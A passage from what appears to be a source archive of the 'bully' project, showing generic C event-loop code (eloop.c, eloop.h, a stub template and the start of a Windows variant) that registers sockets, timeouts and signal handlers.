eloop_sock_table readers; struct eloop_sock_table writers; struct eloop_sock_table exceptions; struct dl_list timeout; int signal_count; struct eloop_signal *signals; int signaled; int pending_terminate; int terminate; int reader_table_changed; }; static struct eloop_data eloop; #ifdef WPA_TRACE static void eloop_sigsegv_handler(int sig) { wpa_trace_show("eloop SIGSEGV"); abort(); } static void eloop_trace_sock_add_ref(struct eloop_sock_table *table) { int i; if (table == NULL || table->table == NULL) return; for (i = 0; i < table->count; i++) { wpa_trace_add_ref(&table->table[i], eloop, table->table[i].eloop_data); wpa_trace_add_ref(&table->table[i], user, table->table[i].user_data); } } static void eloop_trace_sock_remove_ref(struct eloop_sock_table *table) { int i; if (table == NULL || table->table == NULL) return; for (i = 0; i < table->count; i++) { wpa_trace_remove_ref(&table->table[i], eloop, table->table[i].eloop_data); wpa_trace_remove_ref(&table->table[i], user, table->table[i].user_data); } } #else /* WPA_TRACE */ #define eloop_trace_sock_add_ref(table) do { } while (0) #define eloop_trace_sock_remove_ref(table) do { } while (0) #endif /* WPA_TRACE */ int eloop_init(void) { os_memset(&eloop, 0, sizeof(eloop)); dl_list_init(&eloop.timeout); #ifdef WPA_TRACE signal(SIGSEGV, eloop_sigsegv_handler); #endif /* WPA_TRACE */ return 0; } static int eloop_sock_table_add_sock(struct eloop_sock_table *table, int sock, eloop_sock_handler handler, void *eloop_data, void *user_data) { struct eloop_sock *tmp; if (table == NULL) return -1; eloop_trace_sock_remove_ref(table); tmp = (struct eloop_sock *) os_realloc(table->table, (table->count + 1) * sizeof(struct eloop_sock)); if (tmp == NULL) return -1; tmp[table->count].sock = sock; tmp[table->count].eloop_data = eloop_data; tmp[table->count].user_data = user_data; tmp[table->count].handler = handler; wpa_trace_record(&tmp[table->count]); table->count++; table->table = tmp; if (sock > eloop.max_sock) eloop.max_sock = sock; table->changed = 1; eloop_trace_sock_add_ref(table); return 0; } static void eloop_sock_table_remove_sock(struct eloop_sock_table *table, int sock) { int i; if (table == NULL || table->table == NULL || table->count == 0) return; for (i = 0; i < table->count; i++) { if (table->table[i].sock == sock) break; } if (i == table->count) return; eloop_trace_sock_remove_ref(table); if (i != table->count - 1) { os_memmove(&table->table[i], &table->table[i + 1], (table->count - i - 1) * sizeof(struct eloop_sock)); } table->count--; table->changed = 1; eloop_trace_sock_add_ref(table); } static void eloop_sock_table_set_fds(struct eloop_sock_table *table, fd_set *fds) { int i; FD_ZERO(fds); if (table->table == NULL) return; for (i = 0; i < table->count; i++) FD_SET(table->table[i].sock, fds); } static void eloop_sock_table_dispatch(struct eloop_sock_table *table, fd_set *fds) { int i; if (table == NULL || table->table == NULL) return; table->changed = 0; for (i = 0; i < table->count; i++) { if (FD_ISSET(table->table[i].sock, fds)) { table->table[i].handler(table->table[i].sock, table->table[i].eloop_data, table->table[i].user_data); if (table->changed) break; } } } static void eloop_sock_table_destroy(struct eloop_sock_table *table) { if (table) { int i; for (i = 0; i < table->count && table->table; i++) { wpa_printf(MSG_INFO, "ELOOP: remaining socket: " "sock=%d eloop_data=%p user_data=%p " "handler=%p", table->table[i].sock, table->table[i].eloop_data, table->table[i].user_data, table->table[i].handler); wpa_trace_dump_funcname("eloop unregistered socket " "handler", table->table[i].handler); wpa_trace_dump("eloop sock", &table->table[i]); } os_free(table->table); } } int eloop_register_read_sock(int sock, eloop_sock_handler handler, void *eloop_data, void *user_data) { return eloop_register_sock(sock, EVENT_TYPE_READ, handler, eloop_data, user_data); } void eloop_unregister_read_sock(int sock) { eloop_unregister_sock(sock, EVENT_TYPE_READ); } static struct eloop_sock_table *eloop_get_sock_table(eloop_event_type type) { switch (type) { case EVENT_TYPE_READ: return &eloop.readers; case EVENT_TYPE_WRITE: return &eloop.writers; case EVENT_TYPE_EXCEPTION: return &eloop.exceptions; } return NULL; } int eloop_register_sock(int sock, eloop_event_type type, eloop_sock_handler handler, void *eloop_data, void *user_data) { struct eloop_sock_table *table; table = eloop_get_sock_table(type); return eloop_sock_table_add_sock(table, sock, handler, eloop_data, user_data); } void eloop_unregister_sock(int sock, eloop_event_type type) { struct eloop_sock_table *table; table = eloop_get_sock_table(type); eloop_sock_table_remove_sock(table, sock); } int eloop_register_timeout(unsigned int secs, unsigned int usecs, eloop_timeout_handler handler, void *eloop_data, void *user_data) { struct eloop_timeout *timeout, *tmp; timeout = os_zalloc(sizeof(*timeout)); if (timeout == NULL) return -1; if (os_get_time(&timeout->time) < 0) { os_free(timeout); return -1; } timeout->time.sec += secs; timeout->time.usec += usecs; while (timeout->time.usec >= 1000000) { timeout->time.sec++; timeout->time.usec -= 1000000; } timeout->eloop_data = eloop_data; timeout->user_data = user_data; timeout->handler = handler; wpa_trace_add_ref(timeout, eloop, eloop_data); wpa_trace_add_ref(timeout, user, user_data); wpa_trace_record(timeout); /* Maintain timeouts in order of increasing time */ dl_list_for_each(tmp, &eloop.timeout, struct eloop_timeout, list) { if (os_time_before(&timeout->time, &tmp->time)) { dl_list_add(tmp->list.prev, &timeout->list); return 0; } } dl_list_add_tail(&eloop.timeout, &timeout->list); return 0; } static void eloop_remove_timeout(struct eloop_timeout *timeout) { dl_list_del(&timeout->list); wpa_trace_remove_ref(timeout, eloop, timeout->eloop_data); wpa_trace_remove_ref(timeout, user, timeout->user_data); os_free(timeout); } int eloop_cancel_timeout(eloop_timeout_handler handler, void *eloop_data, void *user_data) { struct eloop_timeout *timeout, *prev; int removed = 0; dl_list_for_each_safe(timeout, prev, &eloop.timeout, struct eloop_timeout, list) { if (timeout->handler == handler && (timeout->eloop_data == eloop_data || eloop_data == ELOOP_ALL_CTX) && (timeout->user_data == user_data || user_data == ELOOP_ALL_CTX)) { eloop_remove_timeout(timeout); removed++; } } return removed; } int eloop_is_timeout_registered(eloop_timeout_handler handler, void *eloop_data, void *user_data) { struct eloop_timeout *tmp; dl_list_for_each(tmp, &eloop.timeout, struct eloop_timeout, list) { if (tmp->handler == handler && tmp->eloop_data == eloop_data && tmp->user_data == user_data) return 1; } return 0; } #ifndef CONFIG_NATIVE_WINDOWS static void eloop_handle_alarm(int sig) { wpa_printf(MSG_ERROR, "eloop: could not process SIGINT or SIGTERM in " "two seconds. Looks like there\n" "is a bug that ends up in a busy loop that " "prevents clean shutdown.\n" "Killing program forcefully.\n"); exit(1); } #endif /* CONFIG_NATIVE_WINDOWS */ static void eloop_handle_signal(int sig) { int i; #ifndef CONFIG_NATIVE_WINDOWS if ((sig == SIGINT || sig == SIGTERM) && !eloop.pending_terminate) { /* Use SIGALRM to break out from potential busy loops that * would not allow the program to be killed. */ eloop.pending_terminate = 1; signal(SIGALRM, eloop_handle_alarm); alarm(2); } #endif /* CONFIG_NATIVE_WINDOWS */ eloop.signaled++; for (i = 0; i < eloop.signal_count; i++) { if (eloop.signals[i].sig == sig) { eloop.signals[i].signaled++; break; } } } static void eloop_process_pending_signals(void) { int i; if (eloop.signaled == 0) return; eloop.signaled = 0; if (eloop.pending_terminate) { #ifndef CONFIG_NATIVE_WINDOWS alarm(0); #endif /* CONFIG_NATIVE_WINDOWS */ eloop.pending_terminate = 0; } for (i = 0; i < eloop.signal_count; i++) { if (eloop.signals[i].signaled) { eloop.signals[i].signaled = 0; eloop.signals[i].handler(eloop.signals[i].sig, eloop.signals[i].user_data); } } } int eloop_register_signal(int sig, eloop_signal_handler handler, void *user_data) { struct eloop_signal *tmp; tmp = (struct eloop_signal *) os_realloc(eloop.signals, (eloop.signal_count + 1) * sizeof(struct eloop_signal)); if (tmp == NULL) return -1; tmp[eloop.signal_count].sig = sig; tmp[eloop.signal_count].user_data = user_data; tmp[eloop.signal_count].handler = handler; tmp[eloop.signal_count].signaled = 0; eloop.signal_count++; eloop.signals = tmp; signal(sig, eloop_handle_signal); return 0; } int eloop_register_signal_terminate(eloop_signal_handler handler, void *user_data) { int ret = eloop_register_signal(SIGINT, handler, user_data); if (ret == 0) ret = eloop_register_signal(SIGTERM, handler, user_data); return ret; } int eloop_register_signal_reconfig(eloop_signal_handler handler, void *user_data) { #ifdef CONFIG_NATIVE_WINDOWS return 0; #else /* CONFIG_NATIVE_WINDOWS */ return eloop_register_signal(SIGHUP, handler, user_data); #endif /* CONFIG_NATIVE_WINDOWS */ } void eloop_run(void) { fd_set *rfds, *wfds, *efds; int res; struct timeval _tv; struct os_time tv, now; rfds = os_malloc(sizeof(*rfds)); wfds = os_malloc(sizeof(*wfds)); efds = os_malloc(sizeof(*efds)); if (rfds == NULL || wfds == NULL || efds == NULL) goto out; while (!eloop.terminate && (!dl_list_empty(&eloop.timeout) || eloop.readers.count > 0 || eloop.writers.count > 0 || eloop.exceptions.count > 0)) { struct eloop_timeout *timeout; timeout = dl_list_first(&eloop.timeout, struct eloop_timeout, list); if (timeout) { os_get_time(&now); if (os_time_before(&now, &timeout->time)) os_time_sub(&timeout->time, &now, &tv); else tv.sec = tv.usec = 0; _tv.tv_sec = tv.sec; _tv.tv_usec = tv.usec; } eloop_sock_table_set_fds(&eloop.readers, rfds); eloop_sock_table_set_fds(&eloop.writers, wfds); eloop_sock_table_set_fds(&eloop.exceptions, efds); res = select(eloop.max_sock + 1, rfds, wfds, efds, timeout ? &_tv : NULL); if (res < 0 && errno != EINTR && errno != 0) { perror("select"); goto out; } eloop_process_pending_signals(); /* check if some registered timeouts have occurred */ timeout = dl_list_first(&eloop.timeout, struct eloop_timeout, list); if (timeout) { os_get_time(&now); if (!os_time_before(&now, &timeout->time)) { void *eloop_data = timeout->eloop_data; void *user_data = timeout->user_data; eloop_timeout_handler handler = timeout->handler; eloop_remove_timeout(timeout); handler(eloop_data, user_data); } } if (res <= 0) continue; eloop_sock_table_dispatch(&eloop.readers, rfds); eloop_sock_table_dispatch(&eloop.writers, wfds); eloop_sock_table_dispatch(&eloop.exceptions, efds); } out: os_free(rfds); os_free(wfds); os_free(efds); } void eloop_terminate(void) { eloop.terminate = 1; } void eloop_destroy(void) { struct eloop_timeout *timeout, *prev; struct os_time now; os_get_time(&now); dl_list_for_each_safe(timeout, prev, &eloop.timeout, struct eloop_timeout, list) { int sec, usec; sec = timeout->time.sec - now.sec; usec = timeout->time.usec - now.usec; if (timeout->time.usec < now.usec) { sec--; usec += 1000000; } wpa_printf(MSG_INFO, "ELOOP: remaining timeout: %d.%06d " "eloop_data=%p user_data=%p handler=%p", sec, usec, timeout->eloop_data, timeout->user_data, timeout->handler); wpa_trace_dump_funcname("eloop unregistered timeout handler", timeout->handler); wpa_trace_dump("eloop timeout", timeout); eloop_remove_timeout(timeout); } eloop_sock_table_destroy(&eloop.readers); eloop_sock_table_destroy(&eloop.writers); eloop_sock_table_destroy(&eloop.exceptions); os_free(eloop.signals); } int eloop_terminated(void) { return eloop.terminate; } void eloop_wait_for_read_sock(int sock) { fd_set rfds; if (sock < 0) return; FD_ZERO(&rfds); FD_SET(sock, &rfds); select(sock + 1, &rfds, NULL, NULL, NULL); } bully-1.4-00/src/utils/eloop.h000077500000000000000000000275721361530463600161670ustar00rootroot00000000000000/* * Event loop * Copyright (c) 2002-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This file defines an event loop interface that supports processing events * from registered timeouts (i.e., do something after N seconds), sockets * (e.g., a new packet available for reading), and signals. eloop.c is an * implementation of this interface using select() and sockets. This is * suitable for most UNIX/POSIX systems. When porting to other operating * systems, it may be necessary to replace that implementation with OS specific * mechanisms. */ #ifndef ELOOP_H #define ELOOP_H /** * ELOOP_ALL_CTX - eloop_cancel_timeout() magic number to match all timeouts */ #define ELOOP_ALL_CTX (void *) -1 /** * eloop_event_type - eloop socket event type for eloop_register_sock() * @EVENT_TYPE_READ: Socket has data available for reading * @EVENT_TYPE_WRITE: Socket has room for new data to be written * @EVENT_TYPE_EXCEPTION: An exception has been reported */ typedef enum { EVENT_TYPE_READ = 0, EVENT_TYPE_WRITE, EVENT_TYPE_EXCEPTION } eloop_event_type; /** * eloop_sock_handler - eloop socket event callback type * @sock: File descriptor number for the socket * @eloop_ctx: Registered callback context data (eloop_data) * @sock_ctx: Registered callback context data (user_data) */ typedef void (*eloop_sock_handler)(int sock, void *eloop_ctx, void *sock_ctx); /** * eloop_event_handler - eloop generic event callback type * @eloop_ctx: Registered callback context data (eloop_data) * @sock_ctx: Registered callback context data (user_data) */ typedef void (*eloop_event_handler)(void *eloop_data, void *user_ctx); /** * eloop_timeout_handler - eloop timeout event callback type * @eloop_ctx: Registered callback context data (eloop_data) * @sock_ctx: Registered callback context data (user_data) */ typedef void (*eloop_timeout_handler)(void *eloop_data, void *user_ctx); /** * eloop_signal_handler - eloop signal event callback type * @sig: Signal number * @signal_ctx: Registered callback context data (user_data from * eloop_register_signal(), eloop_register_signal_terminate(), or * eloop_register_signal_reconfig() call) */ typedef void (*eloop_signal_handler)(int sig, void *signal_ctx); /** * eloop_init() - Initialize global event loop data * Returns: 0 on success, -1 on failure * * This function must be called before any other eloop_* function. */ int eloop_init(void); /** * eloop_register_read_sock - Register handler for read events * @sock: File descriptor number for the socket * @handler: Callback function to be called when data is available for reading * @eloop_data: Callback context data (eloop_ctx) * @user_data: Callback context data (sock_ctx) * Returns: 0 on success, -1 on failure * * Register a read socket notifier for the given file descriptor. The handler * function will be called whenever data is available for reading from the * socket. The handler function is responsible for clearing the event after * having processed it in order to avoid eloop from calling the handler again * for the same event. */ int eloop_register_read_sock(int sock, eloop_sock_handler handler, void *eloop_data, void *user_data); /** * eloop_unregister_read_sock - Unregister handler for read events * @sock: File descriptor number for the socket * * Unregister a read socket notifier that was previously registered with * eloop_register_read_sock(). */ void eloop_unregister_read_sock(int sock); /** * eloop_register_sock - Register handler for socket events * @sock: File descriptor number for the socket * @type: Type of event to wait for * @handler: Callback function to be called when the event is triggered * @eloop_data: Callback context data (eloop_ctx) * @user_data: Callback context data (sock_ctx) * Returns: 0 on success, -1 on failure * * Register an event notifier for the given socket's file descriptor. The * handler function will be called whenever the that event is triggered for the * socket. The handler function is responsible for clearing the event after * having processed it in order to avoid eloop from calling the handler again * for the same event. */ int eloop_register_sock(int sock, eloop_event_type type, eloop_sock_handler handler, void *eloop_data, void *user_data); /** * eloop_unregister_sock - Unregister handler for socket events * @sock: File descriptor number for the socket * @type: Type of event for which sock was registered * * Unregister a socket event notifier that was previously registered with * eloop_register_sock(). */ void eloop_unregister_sock(int sock, eloop_event_type type); /** * eloop_register_event - Register handler for generic events * @event: Event to wait (eloop implementation specific) * @event_size: Size of event data * @handler: Callback function to be called when event is triggered * @eloop_data: Callback context data (eloop_data) * @user_data: Callback context data (user_data) * Returns: 0 on success, -1 on failure * * Register an event handler for the given event. This function is used to * register eloop implementation specific events which are mainly targetted for * operating system specific code (driver interface and l2_packet) since the * portable code will not be able to use such an OS-specific call. The handler * function will be called whenever the event is triggered. The handler * function is responsible for clearing the event after having processed it in * order to avoid eloop from calling the handler again for the same event. * * In case of Windows implementation (eloop_win.c), event pointer is of HANDLE * type, i.e., void*. The callers are likely to have 'HANDLE h' type variable, * and they would call this function with eloop_register_event(h, sizeof(h), * ...). */ int eloop_register_event(void *event, size_t event_size, eloop_event_handler handler, void *eloop_data, void *user_data); /** * eloop_unregister_event - Unregister handler for a generic event * @event: Event to cancel (eloop implementation specific) * @event_size: Size of event data * * Unregister a generic event notifier that was previously registered with * eloop_register_event(). */ void eloop_unregister_event(void *event, size_t event_size); /** * eloop_register_timeout - Register timeout * @secs: Number of seconds to the timeout * @usecs: Number of microseconds to the timeout * @handler: Callback function to be called when timeout occurs * @eloop_data: Callback context data (eloop_ctx) * @user_data: Callback context data (sock_ctx) * Returns: 0 on success, -1 on failure * * Register a timeout that will cause the handler function to be called after * given time. */ int eloop_register_timeout(unsigned int secs, unsigned int usecs, eloop_timeout_handler handler, void *eloop_data, void *user_data); /** * eloop_cancel_timeout - Cancel timeouts * @handler: Matching callback function * @eloop_data: Matching eloop_data or %ELOOP_ALL_CTX to match all * @user_data: Matching user_data or %ELOOP_ALL_CTX to match all * Returns: Number of cancelled timeouts * * Cancel matching timeouts registered with * eloop_register_timeout(). ELOOP_ALL_CTX can be used as a wildcard for * cancelling all timeouts regardless of eloop_data/user_data. */ int eloop_cancel_timeout(eloop_timeout_handler handler, void *eloop_data, void *user_data); /** * eloop_is_timeout_registered - Check if a timeout is already registered * @handler: Matching callback function * @eloop_data: Matching eloop_data * @user_data: Matching user_data * Returns: 1 if the timeout is registered, 0 if the timeout is not registered * * Determine if a matching timeout is registered * with eloop_register_timeout(). */ int eloop_is_timeout_registered(eloop_timeout_handler handler, void *eloop_data, void *user_data); /** * eloop_register_signal - Register handler for signals * @sig: Signal number (e.g., SIGHUP) * @handler: Callback function to be called when the signal is received * @user_data: Callback context data (signal_ctx) * Returns: 0 on success, -1 on failure * * Register a callback function that will be called when a signal is received. * The callback function is actually called only after the system signal * handler has returned. This means that the normal limits for sighandlers * (i.e., only "safe functions" allowed) do not apply for the registered * callback. */ int eloop_register_signal(int sig, eloop_signal_handler handler, void *user_data); /** * eloop_register_signal_terminate - Register handler for terminate signals * @handler: Callback function to be called when the signal is received * @user_data: Callback context data (signal_ctx) * Returns: 0 on success, -1 on failure * * Register a callback function that will be called when a process termination * signal is received. The callback function is actually called only after the * system signal handler has returned. This means that the normal limits for * sighandlers (i.e., only "safe functions" allowed) do not apply for the * registered callback. * * This function is a more portable version of eloop_register_signal() since * the knowledge of exact details of the signals is hidden in eloop * implementation. In case of operating systems using signal(), this function * registers handlers for SIGINT and SIGTERM. */ int eloop_register_signal_terminate(eloop_signal_handler handler, void *user_data); /** * eloop_register_signal_reconfig - Register handler for reconfig signals * @handler: Callback function to be called when the signal is received * @user_data: Callback context data (signal_ctx) * Returns: 0 on success, -1 on failure * * Register a callback function that will be called when a reconfiguration / * hangup signal is received. The callback function is actually called only * after the system signal handler has returned. This means that the normal * limits for sighandlers (i.e., only "safe functions" allowed) do not apply * for the registered callback. * * This function is a more portable version of eloop_register_signal() since * the knowledge of exact details of the signals is hidden in eloop * implementation. In case of operating systems using signal(), this function * registers a handler for SIGHUP. */ int eloop_register_signal_reconfig(eloop_signal_handler handler, void *user_data); /** * eloop_run - Start the event loop * * Start the event loop and continue running as long as there are any * registered event handlers. This function is run after event loop has been * initialized with event_init() and one or more events have been registered. */ void eloop_run(void); /** * eloop_terminate - Terminate event loop * * Terminate event loop even if there are registered events. This can be used * to request the program to be terminated cleanly. */ void eloop_terminate(void); /** * eloop_destroy - Free any resources allocated for the event loop * * After calling eloop_destroy(), other eloop_* functions must not be called * before re-running eloop_init(). */ void eloop_destroy(void); /** * eloop_terminated - Check whether event loop has been terminated * Returns: 1 = event loop terminate, 0 = event loop still running * * This function can be used to check whether eloop_terminate() has been called * to request termination of the event loop. This is normally used to abort * operations that may still be queued to be run when eloop_terminate() was * called. */ int eloop_terminated(void); /** * eloop_wait_for_read_sock - Wait for a single reader * @sock: File descriptor number for the socket * * Do a blocking wait for a single read socket. */ void eloop_wait_for_read_sock(int sock); #endif /* ELOOP_H */ bully-1.4-00/src/utils/eloop_none.c000077500000000000000000000175401361530463600171730ustar00rootroot00000000000000/* * Event loop - empty template (basic structure, but no OS specific operations) * Copyright (c) 2002-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "eloop.h" struct eloop_sock { int sock; void *eloop_data; void *user_data; void (*handler)(int sock, void *eloop_ctx, void *sock_ctx); }; struct eloop_timeout { struct os_time time; void *eloop_data; void *user_data; void (*handler)(void *eloop_ctx, void *sock_ctx); struct eloop_timeout *next; }; struct eloop_signal { int sig; void *user_data; void (*handler)(int sig, void *eloop_ctx, void *signal_ctx); int signaled; }; struct eloop_data { int max_sock, reader_count; struct eloop_sock *readers; struct eloop_timeout *timeout; int signal_count; struct eloop_signal *signals; int signaled; int pending_terminate; int terminate; int reader_table_changed; }; static struct eloop_data eloop; int eloop_init(void) { memset(&eloop, 0, sizeof(eloop)); return 0; } int eloop_register_read_sock(int sock, void (*handler)(int sock, void *eloop_ctx, void *sock_ctx), void *eloop_data, void *user_data) { struct eloop_sock *tmp; tmp = (struct eloop_sock *) realloc(eloop.readers, (eloop.reader_count + 1) * sizeof(struct eloop_sock)); if (tmp == NULL) return -1; tmp[eloop.reader_count].sock = sock; tmp[eloop.reader_count].eloop_data = eloop_data; tmp[eloop.reader_count].user_data = user_data; tmp[eloop.reader_count].handler = handler; eloop.reader_count++; eloop.readers = tmp; if (sock > eloop.max_sock) eloop.max_sock = sock; eloop.reader_table_changed = 1; return 0; } void eloop_unregister_read_sock(int sock) { int i; if (eloop.readers == NULL || eloop.reader_count == 0) return; for (i = 0; i < eloop.reader_count; i++) { if (eloop.readers[i].sock == sock) break; } if (i == eloop.reader_count) return; if (i != eloop.reader_count - 1) { memmove(&eloop.readers[i], &eloop.readers[i + 1], (eloop.reader_count - i - 1) * sizeof(struct eloop_sock)); } eloop.reader_count--; eloop.reader_table_changed = 1; } int eloop_register_timeout(unsigned int secs, unsigned int usecs, void (*handler)(void *eloop_ctx, void *timeout_ctx), void *eloop_data, void *user_data) { struct eloop_timeout *timeout, *tmp, *prev; timeout = (struct eloop_timeout *) malloc(sizeof(*timeout)); if (timeout == NULL) return -1; os_get_time(&timeout->time); timeout->time.sec += secs; timeout->time.usec += usecs; while (timeout->time.usec >= 1000000) { timeout->time.sec++; timeout->time.usec -= 1000000; } timeout->eloop_data = eloop_data; timeout->user_data = user_data; timeout->handler = handler; timeout->next = NULL; if (eloop.timeout == NULL) { eloop.timeout = timeout; return 0; } prev = NULL; tmp = eloop.timeout; while (tmp != NULL) { if (os_time_before(&timeout->time, &tmp->time)) break; prev = tmp; tmp = tmp->next; } if (prev == NULL) { timeout->next = eloop.timeout; eloop.timeout = timeout; } else { timeout->next = prev->next; prev->next = timeout; } return 0; } int eloop_cancel_timeout(void (*handler)(void *eloop_ctx, void *sock_ctx), void *eloop_data, void *user_data) { struct eloop_timeout *timeout, *prev, *next; int removed = 0; prev = NULL; timeout = eloop.timeout; while (timeout != NULL) { next = timeout->next; if (timeout->handler == handler && (timeout->eloop_data == eloop_data || eloop_data == ELOOP_ALL_CTX) && (timeout->user_data == user_data || user_data == ELOOP_ALL_CTX)) { if (prev == NULL) eloop.timeout = next; else prev->next = next; free(timeout); removed++; } else prev = timeout; timeout = next; } return removed; } int eloop_is_timeout_registered(void (*handler)(void *eloop_ctx, void *timeout_ctx), void *eloop_data, void *user_data) { struct eloop_timeout *tmp; tmp = eloop.timeout; while (tmp != NULL) { if (tmp->handler == handler && tmp->eloop_data == eloop_data && tmp->user_data == user_data) return 1; tmp = tmp->next; } return 0; } /* TODO: replace with suitable signal handler */ #if 0 static void eloop_handle_signal(int sig) { int i; eloop.signaled++; for (i = 0; i < eloop.signal_count; i++) { if (eloop.signals[i].sig == sig) { eloop.signals[i].signaled++; break; } } } #endif static void eloop_process_pending_signals(void) { int i; if (eloop.signaled == 0) return; eloop.signaled = 0; if (eloop.pending_terminate) { eloop.pending_terminate = 0; } for (i = 0; i < eloop.signal_count; i++) { if (eloop.signals[i].signaled) { eloop.signals[i].signaled = 0; eloop.signals[i].handler(eloop.signals[i].sig, eloop.user_data, eloop.signals[i].user_data); } } } int eloop_register_signal(int sig, void (*handler)(int sig, void *eloop_ctx, void *signal_ctx), void *user_data) { struct eloop_signal *tmp; tmp = (struct eloop_signal *) realloc(eloop.signals, (eloop.signal_count + 1) * sizeof(struct eloop_signal)); if (tmp == NULL) return -1; tmp[eloop.signal_count].sig = sig; tmp[eloop.signal_count].user_data = user_data; tmp[eloop.signal_count].handler = handler; tmp[eloop.signal_count].signaled = 0; eloop.signal_count++; eloop.signals = tmp; /* TODO: register signal handler */ return 0; } int eloop_register_signal_terminate(void (*handler)(int sig, void *eloop_ctx, void *signal_ctx), void *user_data) { #if 0 /* TODO: for example */ int ret = eloop_register_signal(SIGINT, handler, user_data); if (ret == 0) ret = eloop_register_signal(SIGTERM, handler, user_data); return ret; #endif return 0; } int eloop_register_signal_reconfig(void (*handler)(int sig, void *eloop_ctx, void *signal_ctx), void *user_data) { #if 0 /* TODO: for example */ return eloop_register_signal(SIGHUP, handler, user_data); #endif return 0; } void eloop_run(void) { int i; struct os_time tv, now; while (!eloop.terminate && (eloop.timeout || eloop.reader_count > 0)) { if (eloop.timeout) { os_get_time(&now); if (os_time_before(&now, &eloop.timeout->time)) os_time_sub(&eloop.timeout->time, &now, &tv); else tv.sec = tv.usec = 0; } /* * TODO: wait for any event (read socket ready, timeout (tv), * signal */ os_sleep(1, 0); /* just a dummy wait for testing */ eloop_process_pending_signals(); /* check if some registered timeouts have occurred */ if (eloop.timeout) { struct eloop_timeout *tmp; os_get_time(&now); if (!os_time_before(&now, &eloop.timeout->time)) { tmp = eloop.timeout; eloop.timeout = eloop.timeout->next; tmp->handler(tmp->eloop_data, tmp->user_data); free(tmp); } } eloop.reader_table_changed = 0; for (i = 0; i < eloop.reader_count; i++) { /* * TODO: call each handler that has pending data to * read */ if (0 /* TODO: eloop.readers[i].sock ready */) { eloop.readers[i].handler( eloop.readers[i].sock, eloop.readers[i].eloop_data, eloop.readers[i].user_data); if (eloop.reader_table_changed) break; } } } } void eloop_terminate(void) { eloop.terminate = 1; } void eloop_destroy(void) { struct eloop_timeout *timeout, *prev; timeout = eloop.timeout; while (timeout != NULL) { prev = timeout; timeout = timeout->next; free(prev); } free(eloop.readers); free(eloop.signals); } int eloop_terminated(void) { return eloop.terminate; } void eloop_wait_for_read_sock(int sock) { /* * TODO: wait for the file descriptor to have something available for * reading */ } bully-1.4-00/src/utils/eloop_win.c000077500000000000000000000306201361530463600170230ustar00rootroot00000000000000/* * Event loop based on Windows events and WaitForMultipleObjects * Copyright (c) 2002-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include "common.h" #include "eloop.h" struct eloop_sock { int sock; void *eloop_data; void *user_data; eloop_sock_handler handler; WSAEVENT event; }; struct eloop_event { void *eloop_data; void *user_data; eloop_event_handler handler; HANDLE event; }; struct eloop_timeout { struct os_time time; void *eloop_data; void *user_data; eloop_timeout_handler handler; struct eloop_timeout *next; }; struct eloop_signal { int sig; void *user_data; eloop_signal_handler handler; int signaled; }; struct eloop_data { int max_sock; size_t reader_count; struct eloop_sock *readers; size_t event_count; struct eloop_event *events; struct eloop_timeout *timeout; int signal_count; struct eloop_signal *signals; int signaled; int pending_terminate; int terminate; int reader_table_changed; struct eloop_signal term_signal; HANDLE term_event; HANDLE *handles; size_t num_handles; }; static struct eloop_data eloop; int eloop_init(void) { os_memset(&eloop, 0, sizeof(eloop)); eloop.num_handles = 1; eloop.handles = os_malloc(eloop.num_handles * sizeof(eloop.handles[0])); if (eloop.handles == NULL) return -1; eloop.term_event = CreateEvent(NULL, FALSE, FALSE, NULL); if (eloop.term_event == NULL) { printf("CreateEvent() failed: %d\n", (int) GetLastError()); os_free(eloop.handles); return -1; } return 0; } static int eloop_prepare_handles(void) { HANDLE *n; if (eloop.num_handles > eloop.reader_count + eloop.event_count + 8) return 0; n = os_realloc(eloop.handles, eloop.num_handles * 2 * sizeof(eloop.handles[0])); if (n == NULL) return -1; eloop.handles = n; eloop.num_handles *= 2; return 0; } int eloop_register_read_sock(int sock, eloop_sock_handler handler, void *eloop_data, void *user_data) { WSAEVENT event; struct eloop_sock *tmp; if (eloop_prepare_handles()) return -1; event = WSACreateEvent(); if (event == WSA_INVALID_EVENT) { printf("WSACreateEvent() failed: %d\n", WSAGetLastError()); return -1; } if (WSAEventSelect(sock, event, FD_READ)) { printf("WSAEventSelect() failed: %d\n", WSAGetLastError()); WSACloseEvent(event); return -1; } tmp = os_realloc(eloop.readers, (eloop.reader_count + 1) * sizeof(struct eloop_sock)); if (tmp == NULL) { WSAEventSelect(sock, event, 0); WSACloseEvent(event); return -1; } tmp[eloop.reader_count].sock = sock; tmp[eloop.reader_count].eloop_data = eloop_data; tmp[eloop.reader_count].user_data = user_data; tmp[eloop.reader_count].handler = handler; tmp[eloop.reader_count].event = event; eloop.reader_count++; eloop.readers = tmp; if (sock > eloop.max_sock) eloop.max_sock = sock; eloop.reader_table_changed = 1; return 0; } void eloop_unregister_read_sock(int sock) { size_t i; if (eloop.readers == NULL || eloop.reader_count == 0) return; for (i = 0; i < eloop.reader_count; i++) { if (eloop.readers[i].sock == sock) break; } if (i == eloop.reader_count) return; WSAEventSelect(eloop.readers[i].sock, eloop.readers[i].event, 0); WSACloseEvent(eloop.readers[i].event); if (i != eloop.reader_count - 1) { os_memmove(&eloop.readers[i], &eloop.readers[i + 1], (eloop.reader_count - i - 1) * sizeof(struct eloop_sock)); } eloop.reader_count--; eloop.reader_table_changed = 1; } int eloop_register_event(void *event, size_t event_size, eloop_event_handler handler, void *eloop_data, void *user_data) { struct eloop_event *tmp; HANDLE h = event; if (event_size != sizeof(HANDLE) || h == INVALID_HANDLE_VALUE) return -1; if (eloop_prepare_handles()) return -1; tmp = os_realloc(eloop.events, (eloop.event_count + 1) * sizeof(struct eloop_event)); if (tmp == NULL) return -1; tmp[eloop.event_count].eloop_data = eloop_data; tmp[eloop.event_count].user_data = user_data; tmp[eloop.event_count].handler = handler; tmp[eloop.event_count].event = h; eloop.event_count++; eloop.events = tmp; return 0; } void eloop_unregister_event(void *event, size_t event_size) { size_t i; HANDLE h = event; if (eloop.events == NULL || eloop.event_count == 0 || event_size != sizeof(HANDLE)) return; for (i = 0; i < 